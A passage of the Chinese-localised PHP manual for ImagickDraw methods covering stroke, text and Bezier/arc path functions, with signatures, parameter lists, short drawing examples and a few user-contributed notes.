Returns true if antialiasing is on and false if it is off.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color used for stroking object outlines

  • ? ImagickDraw::getStrokeAntialias
  • ImagickDraw::getStrokeDashArray ?
  • PHP Manual
  • ImagickDraw
  • Returns the color used for stroking object outlines

ImagickDraw::getStrokeColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines

说明

public ImagickDraw::getStrokeColor(): ImagickPixel
Warning

本函数还未编写文档，仅有参数列表。

Returns the color used for stroking object outlines.

参数

stroke_color

返回值

Returns an ImagickPixel object which describes the color.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representing the pattern of dashes and gaps used to stroke paths

  • ? ImagickDraw::getStrokeColor
  • ImagickDraw::getStrokeDashOffset ?
  • PHP Manual
  • ImagickDraw
  • Returns an array representing the pattern of dashes and gaps used to stroke paths

ImagickDraw::getStrokeDashArray

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths

说明

public ImagickDraw::getStrokeDashArray(): array
Warning

本函数还未编写文档，仅有参数列表。

Returns an array representing the pattern of dashes and gaps used to stroke paths.

返回值

Returns an array on success and empty array if not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the offset into the dash pattern to start the dash

  • ? ImagickDraw::getStrokeDashArray
  • ImagickDraw::getStrokeLineCap ?
  • PHP Manual
  • ImagickDraw
  • Returns the offset into the dash pattern to start the dash

ImagickDraw::getStrokeDashOffset

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash

说明

public ImagickDraw::getStrokeDashOffset(): float
Warning

本函数还未编写文档，仅有参数列表。

Returns the offset into the dash pattern to start the dash.

返回值

Returns a float representing the offset and 0 if it's not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the shape to be used at the end of open subpaths when they are stroked

  • ? ImagickDraw::getStrokeDashOffset
  • ImagickDraw::getStrokeLineJoin ?
  • PHP Manual
  • ImagickDraw
  • Returns the shape to be used at the end of open subpaths when they are stroked

ImagickDraw::getStrokeLineCap

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked

说明

public ImagickDraw::getStrokeLineCap(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the shape to be used at the end of open subpaths when they are stroked.

返回值

Returns a LINECAP constant (imagick::LINECAP_*), or 0 if stroke linecap is not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the shape to be used at the corners of paths when they are stroked

  • ? ImagickDraw::getStrokeLineCap
  • ImagickDraw::getStrokeMiterLimit ?
  • PHP Manual
  • ImagickDraw
  • Returns the shape to be used at the corners of paths when they are stroked

ImagickDraw::getStrokeLineJoin

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked

说明

public ImagickDraw::getStrokeLineJoin(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the shape to be used at the corners of paths (or other vector shapes) when they are stroked.

返回值

Returns a LINEJOIN constant (imagick::LINEJOIN_*), or 0 if stroke line join is not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the stroke miter limit

  • ? ImagickDraw::getStrokeLineJoin
  • ImagickDraw::getStrokeOpacity ?
  • PHP Manual
  • ImagickDraw
  • Returns the stroke miter limit

ImagickDraw::getStrokeMiterLimit

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit

说明

public ImagickDraw::getStrokeMiterLimit(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the miter limit. When two line segments meet at a sharp angle and miter joins have been specified for 'lineJoin', it is possible for the miter to extend far beyond the thickness of the line stroking the path. The 'miterLimit' imposes a limit on the ratio of the miter length to the 'lineWidth'.

返回值

Returns an int describing the miter limit and 0 if no miter limit is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the opacity of stroked object outlines

  • ? ImagickDraw::getStrokeMiterLimit
  • ImagickDraw::getStrokeWidth ?
  • PHP Manual
  • ImagickDraw
  • Returns the opacity of stroked object outlines

ImagickDraw::getStrokeOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines

说明

public ImagickDraw::getStrokeOpacity(): float
Warning

本函数还未编写文档，仅有参数列表。

Returns the opacity of stroked object outlines.

返回值

Returns a float describing the opacity.

User Contributed Notes

There are no user contributed notes for this page.


Returns the width of the stroke used to draw object outlines

  • ? ImagickDraw::getStrokeOpacity
  • ImagickDraw::getTextAlignment ?
  • PHP Manual
  • ImagickDraw
  • Returns the width of the stroke used to draw object outlines

ImagickDraw::getStrokeWidth

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines

说明

public ImagickDraw::getStrokeWidth(): float
Warning

本函数还未编写文档，仅有参数列表。

Returns the width of the stroke used to draw object outlines.

返回值

Returns a float describing the stroke width.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text alignment

  • ? ImagickDraw::getStrokeWidth
  • ImagickDraw::getTextAntialias ?
  • PHP Manual
  • ImagickDraw
  • Returns the text alignment

ImagickDraw::getTextAlignment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextAlignment — Returns the text alignment

说明

public ImagickDraw::getTextAlignment(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the alignment applied when annotating with text.

返回值

Returns a ALIGN constant (imagick::ALIGN_*), and 0 if no align is set.

User Contributed Notes

moguchicorp at gmail dot com 14-Mar-2011 03:05
check ImagickDraw::SetTextAlignment notes for examples and constants values

http://php.net/manual/en/function.imagickdraw-settextalignment.php


Returns the current text antialias setting

  • ? ImagickDraw::getTextAlignment
  • ImagickDraw::getTextDecoration ?
  • PHP Manual
  • ImagickDraw
  • Returns the current text antialias setting

ImagickDraw::getTextAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextAntialias — Returns the current text antialias setting

说明

public ImagickDraw::getTextAntialias(): bool
Warning

本函数还未编写文档，仅有参数列表。

Returns the current text antialias setting, which determines whether text is antialiased. Text is antialiased by default.

返回值

Returns true if text is antialiased and false if not.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text decoration

  • ? ImagickDraw::getTextAntialias
  • ImagickDraw::getTextEncoding ?
  • PHP Manual
  • ImagickDraw
  • Returns the text decoration

ImagickDraw::getTextDecoration

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextDecoration — Returns the text decoration

说明

public ImagickDraw::getTextDecoration(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the decoration applied when annotating with text.

返回值

Returns a DECORATION constant (imagick::DECORATION_*), and 0 if no decoration is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the code set used for text annotations

  • ? ImagickDraw::getTextDecoration
  • ImagickDraw::getTextInterlineSpacing ?
  • PHP Manual
  • ImagickDraw
  • Returns the code set used for text annotations

ImagickDraw::getTextEncoding

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextEncoding — Returns the code set used for text annotations

说明

public ImagickDraw::getTextEncoding(): string
Warning

本函数还未编写文档，仅有参数列表。

Returns a string which specifies the code set used for text annotations.

返回值

Returns a string specifying the code set or false if text encoding is not set.

User Contributed Notes

There are no user contributed notes for this page.


Gets the text interword spacing

  • ? ImagickDraw::getTextEncoding
  • ImagickDraw::getTextInterwordSpacing ?
  • PHP Manual
  • ImagickDraw
  • Gets the text interword spacing

ImagickDraw::getTextInterlineSpacing

(PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextInterlineSpacing — Gets the text interword spacing

说明

public ImagickDraw::getTextInterlineSpacing(): float

Gets the text interword spacing.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets the text interword spacing

  • ? ImagickDraw::getTextInterlineSpacing
  • ImagickDraw::getTextKerning ?
  • PHP Manual
  • ImagickDraw
  • Gets the text interword spacing

ImagickDraw::getTextInterwordSpacing

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextInterwordSpacing — Gets the text interword spacing

说明

public ImagickDraw::getTextInterwordSpacing(): float

Gets the text interword spacing.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets the text kerning

  • ? ImagickDraw::getTextInterwordSpacing
  • ImagickDraw::getTextUnderColor ?
  • PHP Manual
  • ImagickDraw
  • Gets the text kerning

ImagickDraw::getTextKerning

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.1.0)

ImagickDraw::getTextKerning — Gets the text kerning

说明

public ImagickDraw::getTextKerning(): float

Gets the text kerning.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Returns the text under color

  • ? ImagickDraw::getTextKerning
  • ImagickDraw::getVectorGraphics ?
  • PHP Manual
  • ImagickDraw
  • Returns the text under color

ImagickDraw::getTextUnderColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getTextUnderColor — Returns the text under color

说明

public ImagickDraw::getTextUnderColor(): ImagickPixel
Warning

本函数还未编写文档，仅有参数列表。

Returns the color of a background rectangle to place under text annotations.

返回值

Returns an ImagickPixel object describing the color.

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing vector graphics

  • ? ImagickDraw::getTextUnderColor
  • ImagickDraw::line ?
  • PHP Manual
  • ImagickDraw
  • Returns a string containing vector graphics

ImagickDraw::getVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getVectorGraphics — Returns a string containing vector graphics

说明

public ImagickDraw::getVectorGraphics(): string
Warning

本函数还未编写文档，仅有参数列表。

Returns a string which specifies the vector graphics generated by any graphics calls made since the ImagickDraw object was instantiated.

返回值

Returns a string containing the vector graphics.

User Contributed Notes

There are no user contributed notes for this page.


Draws a line

  • ? ImagickDraw::getVectorGraphics
  • ImagickDraw::matte ?
  • PHP Manual
  • ImagickDraw
  • Draws a line

ImagickDraw::line

(PECL imagick 2, PECL imagick 3)

ImagickDraw::line — Draws a line

说明

public ImagickDraw::line(
float $sx,
float $sy,
float $ex,
float $ey
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a line on the image using the current stroke color, stroke opacity, and stroke width.

参数

sx

starting x coordinate

sy

starting y coordinate

ex

ending x coordinate

ey

ending y coordinate

返回值

没有返回值。

示例

Example #1 ImagickDraw::line() example

<?php
function line($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->line(125, 70, 100, 50);
$draw->line(350, 170, 100, 150);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

GaryM at BinaryFarm dot com 24-Feb-2010 11:48
<?php

// a twist on the above radar screen.
// This makes random colored spokes from a center point

    $width =  400;
    $height = 400;

    $image = new Imagick();
    $image->newImage( $width, $height, new ImagickPixel( 'wheat' ) );
    $draw = new ImagickDraw();
   //$draw->setStrokeColor( new ImagickPixel( 'black' ) );

    $rx = $width / 2;
    $ry = $height / 2;
    $total = 2*M_PI;
    $part = $total / 16;
    while( $total > 0  )
    {
        $ex = $rx +$rx * sin( $total );
        $ey = $ry +$ry * cos( $total );
        $draw->line  ( $rx, $ry, $ex, $ey );
        $total -= $part;

    // We need three HEX numbers to create an RGB color code like '#FF33DD'.

    $draw->setStrokeColor( get_random_color() );
    }
    $image->drawImage( $draw );
    $image->setImageFormat( "png" );
    header( "Content-Type: image/png" );
    echo $image;
    exit;

function get_random_color()        // Thanks to Greg R. for this nice little function.
{
    for ($i = 0; $i<6; $i++)
    {
        $c .=  dechex(rand(0,15));
    }
    return "#$c";
}
?>


Paints on the image's opacity channel

  • ? ImagickDraw::line
  • ImagickDraw::pathClose ?
  • PHP Manual
  • ImagickDraw
  • Paints on the image's opacity channel

ImagickDraw::matte

(PECL imagick 2, PECL imagick 3)

ImagickDraw::matte — Paints on the image's opacity channel

说明

public ImagickDraw::matte(float $x, float $y, int $paintMethod): bool
Warning

本函数还未编写文档，仅有参数列表。

Paints on the image's opacity channel in order to set effected pixels to transparent, to influence the opacity of pixels.

参数

x

x coordinate of the matte

y

y coordinate of the matte

paintMethod

One of the PAINT constant (imagick::PAINT_*).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ImagickDraw::matte() example

<?php
function matte($strokeColor, $fillColor, $backgroundColor, $paintType) {
$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->matte(120, 120, $paintType);
$draw->rectangle(100, 100, 300, 200);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Adds a path element to the current path

  • ? ImagickDraw::matte
  • ImagickDraw::pathCurveToAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Adds a path element to the current path

ImagickDraw::pathClose

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathClose — Adds a path element to the current path

说明

public ImagickDraw::pathClose(): bool
Warning

本函数还未编写文档，仅有参数列表。

Adds a path element to the current path which closes the current subpath by drawing a straight line from the current point to the current subpath's most recent starting point (usually, the most recent moveto point).

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a cubic Bezier curve

  • ? ImagickDraw::pathClose
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Draws a cubic Bezier curve

ImagickDraw::pathCurveToAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve

说明

public ImagickDraw::pathCurveToAbsolute(
float $x1,
float $y1,
float $x2,
float $y2,
float $x,
float $y
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a cubic Bezier curve from the current point to (x,y) using (x1,y1) as the control point at the beginning of the curve and (x2,y2) as the control point at the end of the curve using absolute coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

参数

x1

x coordinate of the first control point

y1

y coordinate of the first control point

x2

x coordinate of the second control point

y2

y coordinate of the first control point

x

x coordinate of the curve end

y

y coordinate of the curve end

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a quadratic Bezier curve

  • ? ImagickDraw::pathCurveToAbsolute
  • ImagickDraw::pathCurveToQuadraticBezierRelative ?
  • PHP Manual
  • ImagickDraw
  • Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve

说明

public ImagickDraw::pathCurveToQuadraticBezierAbsolute(
float $x1,
float $y1,
float $x,
float $y
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a quadratic Bezier curve from the current point to (x,y) using (x1,y1) as the control point using absolute coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

参数

x1

x coordinate of the control point

y1

y coordinate of the control point

x

x coordinate of the end point

y

y coordinate of the end point

返回值

没有返回值。

示例

Example #1 ImagickDraw::pathCurveToQuadraticBezierAbsolute() example

<?php
function pathCurveToQuadraticBezierAbsolute($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50,250);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is the first two params, and the end point is the last two params.
$draw->pathCurveToQuadraticBezierAbsolute(
150,50,
250,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothAbsolute(
450,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined relative from the current position by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothRelative(
200,-100
);

$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(700, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Draws a quadratic Bezier curve

  • ? ImagickDraw::pathCurveToQuadraticBezierAbsolute
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve

说明

public ImagickDraw::pathCurveToQuadraticBezierRelative(
float $x1,
float $y1,
float $x,
float $y
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a quadratic Bezier curve from the current point to (x,y) using (x1,y1) as the control point using relative coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

参数

x1

starting x coordinate

y1

starting y coordinate

x

ending x coordinate

y

ending y coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a quadratic Bezier curve

  • ? ImagickDraw::pathCurveToQuadraticBezierRelative
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative ?
  • PHP Manual
  • ImagickDraw
  • Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve

说明

public ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute(float $x, float $y): bool

Draws a quadratic Bezier curve (using absolute coordinates) from the current point to (x,y). The control point is assumed to be the reflection of the control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not a DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolut or DrawPathCurveToQuadraticBezierSmoothRelative, assume the control point is coincident with the current point.). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

This function cannot be used to continue a cubic Bezier curve smoothly. It can only continue from a quadratic curve smoothly.

参数

x

ending x coordinate

y

ending y coordinate

返回值

没有返回值。

示例

Example #1 ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute() example

<?php
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor("black");
$draw->setFillColor("blue");

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50,250);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is the first two params, and the end point is the last two params.
$draw->pathCurveToQuadraticBezierAbsolute(
150,50,
250,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothAbsolute(
450,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined relative from the current position by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothRelative(
200,-100
);

$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(700, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
?>

User Contributed Notes

There are no user contributed notes for this page.


Draws a quadratic Bezier curve

  • ? ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
  • ImagickDraw::pathCurveToRelative ?
  • PHP Manual
  • ImagickDraw
  • Draws a quadratic Bezier curve

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve

说明

public ImagickDraw::pathCurveToQuadraticBezierSmoothRelative(float $x, float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a quadratic Bezier curve (using relative coordinates) from the current point to (x, y). The control point is assumed to be the reflection of the control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not a DrawPathCurveToQuadraticBezierAbsolute, DrawPathCurveToQuadraticBezierRelative, DrawPathCurveToQuadraticBezierSmoothAbsolut or DrawPathCurveToQuadraticBezierSmoothRelative, assume the control point is coincident with the current point). At the end of the command, the new current point becomes the final (x, y) coordinate pair used in the polybezier.

This function cannot be used to continue a cubic Bezier curve smoothly. It can only continue from a quadratic curve smoothly.

参数

x

ending x coordinate

y

ending y coordinate

返回值

没有返回值。

示例

Example #1 ImagickDraw::pathCurveToQuadraticBezierSmoothRelative() example

<?php
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor("black");
$draw->setFillColor("blue");

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->pathStart();
$draw->pathMoveToAbsolute(50,250);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is the first two params, and the end point is the last two params.
$draw->pathCurveToQuadraticBezierAbsolute(
150,50,
250,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothAbsolute(
450,250
);

// This specifies a quadratic bezier curve with the current position as the start
// point, the control point is mirrored from the previous curves control point
// and the end point is defined relative from the current position by the x, y values.
$draw->pathCurveToQuadraticBezierSmoothRelative(
200,-100
);

$draw->pathFinish();

$imagick = new \Imagick();
$imagick->newImage(700, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
?>

User Contributed Notes

There are no user contributed notes for this page.


Draws a cubic Bezier curve

  • ? ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
  • ImagickDraw::pathCurveToSmoothAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Draws a cubic Bezier curve

ImagickDraw::pathCurveToRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve

说明

public ImagickDraw::pathCurveToRelative(
float $x1,
float $y1,
float $x2,
float $y2,
float $x,
float $y
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a cubic Bezier curve from the current point to (x,y) using (x1,y1) as the control point at the beginning of the curve and (x2,y2) as the control point at the end of the curve using relative coordinates. At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

参数

x1

x coordinate of starting control point

y1

y coordinate of starting control point

x2

x coordinate of ending control point

y2

y coordinate of ending control point

x

ending x coordinate

y

ending y coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a cubic Bezier curve

  • ? ImagickDraw::pathCurveToRelative
  • ImagickDraw::pathCurveToSmoothRelative ?
  • PHP Manual
  • ImagickDraw
  • Draws a cubic Bezier curve

ImagickDraw::pathCurveToSmoothAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve

说明

public ImagickDraw::pathCurveToSmoothAbsolute(
float $x2,
float $y2,
float $x,
float $y
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a cubic Bezier curve from the current point to (x,y) using absolute coordinates. The first control point is assumed to be the reflection of the second control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not an DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute or DrawPathCurveToSmoothRelative, assume the first control point is coincident with the current point.) (x2,y2) is the second control point (i.e., the control point at the end of the curve). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

参数

x2

x coordinate of the second control point

y2

y coordinate of the second control point

x

x coordinate of the ending point

y

y coordinate of the ending point

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a cubic Bezier curve

  • ? ImagickDraw::pathCurveToSmoothAbsolute
  • ImagickDraw::pathEllipticArcAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Draws a cubic Bezier curve

ImagickDraw::pathCurveToSmoothRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve

说明

public ImagickDraw::pathCurveToSmoothRelative(
float $x2,
float $y2,
float $x,
float $y
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a cubic Bezier curve from the current point to (x,y) using relative coordinates. The first control point is assumed to be the reflection of the second control point on the previous command relative to the current point. (If there is no previous command or if the previous command was not an DrawPathCurveToAbsolute, DrawPathCurveToRelative, DrawPathCurveToSmoothAbsolute or DrawPathCurveToSmoothRelative, assume the first control point is coincident with the current point.) (x2,y2) is the second control point (i.e., the control point at the end of the curve). At the end of the command, the new current point becomes the final (x,y) coordinate pair used in the polybezier.

参数

x2

x coordinate of the second control point

y2

y coordinate of the second control point

x

x coordinate of the ending point

y

y coordinate of the ending point

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws an elliptical arc

  • ? ImagickDraw::pathCurveToSmoothRelative
  • ImagickDraw::pathEllipticArcRelative ?
  • PHP Manual
  • ImagickDraw
  • Draws an elliptical arc

ImagickDraw::pathEllipticArcAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc

说明

public ImagickDraw::pathEllipticArcAbsolute(
float $rx,
float $ry,
float $x_axis_rotation,
bool $large_arc_flag,
bool $sweep_flag,
float $x,
float $y
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws an elliptical arc from the current point to (x, y) using absolute coordinates. The size and orientation of the ellipse are defined by two radii (rx, ry) and an xAxisRotation, which indicates how the ellipse as a whole is rotated relative to the current coordinate system. The center (cx, cy) of the ellipse is calculated automatically to satisfy the constraints imposed by the other parameters. largeArcFlag and sweepFlag contribute to the automatic calculations and help determine how the arc is drawn. If large_arc_flag is true then draw the larger of the available arcs. If sweep_flag is true, then draw the arc matching a clock-wise rotation.

参数

rx

x radius

ry

y radius

x_axis_rotation

x axis rotation

large_arc_flag

large arc flag

sweep_flag

sweep flag

x

x coordinate

y

y coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws an elliptical arc

  • ? ImagickDraw::pathEllipticArcAbsolute
  • ImagickDraw::pathFinish ?
  • PHP Manual
  • ImagickDraw
  • Draws an elliptical arc

ImagickDraw::pathEllipticArcRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc

说明

public ImagickDraw::pathEllipticArcRelative(
float $rx,
float $ry,
float $x_axis_rotation,
bool $large_arc_flag,
bool $sweep_flag,
float $x,
float $y
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws an elliptical arc from the current point to (x, y) using relative coordinates. The size and orientation of the ellipse are defined by two radii (rx, ry) and an xAxisRotation, which indicates how the ellipse as a whole is rotated relative to the current coordinate system. The center (cx, cy) of the ellipse is calculated automatically to satisfy the constraints imposed by the other parameters. largeArcFlag and sweepFlag contribute to the automatic calculations and help determine how the arc is drawn. If large_arc_flag is true then draw the larger of the available arcs. If sweep_flag is true, then draw the arc matching a clock-wise rotation.

参数

rx

x radius

ry

y radius

x_axis_rotation

x axis rotation

large_arc_flag

large arc flag

sweep_flag

sweep flag

x

x coordinate

y

y coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Terminates the current path

  • ? ImagickDraw::pathEllipticArcRelative
  • ImagickDraw::pathLineToAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Terminates the current path

ImagickDraw::pathFinish

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathFinish — Terminates the current path

说明

public ImagickDraw::pathFinish(): bool
Warning

本函数还未编写文档，仅有参数列表。

Terminates the current path.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a line path

  • ? ImagickDraw::pathFinish
  • ImagickDraw::pathLineToHorizontalAbsolute ?
  • PHP Manual
  • ImagickDraw
  • Draws a line path

ImagickDraw::pathLineToAbsolute

(PECL imagick 2)

ImagickDraw::pathLineToAbsolute — Draws a line path

说明

public ImagickDraw::pathLineToAbsolute(float $x, float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a line path from the current point to the given coordinate using absolute coordinates. The coordinate then becomes the new current point.

参数

x

starting x coordinate

y

ending x coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a horizontal line path

  • ? ImagickDraw::pathLineToAbsolute
  • ImagickDraw::pathLineToHorizontalRelative ?
  • PHP Manual
  • ImagickDraw
  • Draws a horizontal line path

ImagickDraw::pathLineToHorizontalAbsolute

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path

说明

public ImagickDraw::pathLineToHorizontalAbsolute(float $x): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a horizontal line path from the current point to the target point using absolute coordinates. The target point then becomes the new current point.

参数

x

x coordinate

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws a horizontal line

  • ? ImagickDraw::pathLineToHorizontalAbsolute
  • ImagickDraw::pathLineToRelative ?
  • PHP Manual
  • ImagickDraw
  • Draws a horizontal line

ImagickDraw::pathLineToHorizontalRelative

(PECL imagick 2, PECL imagick 3)

ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line

说明

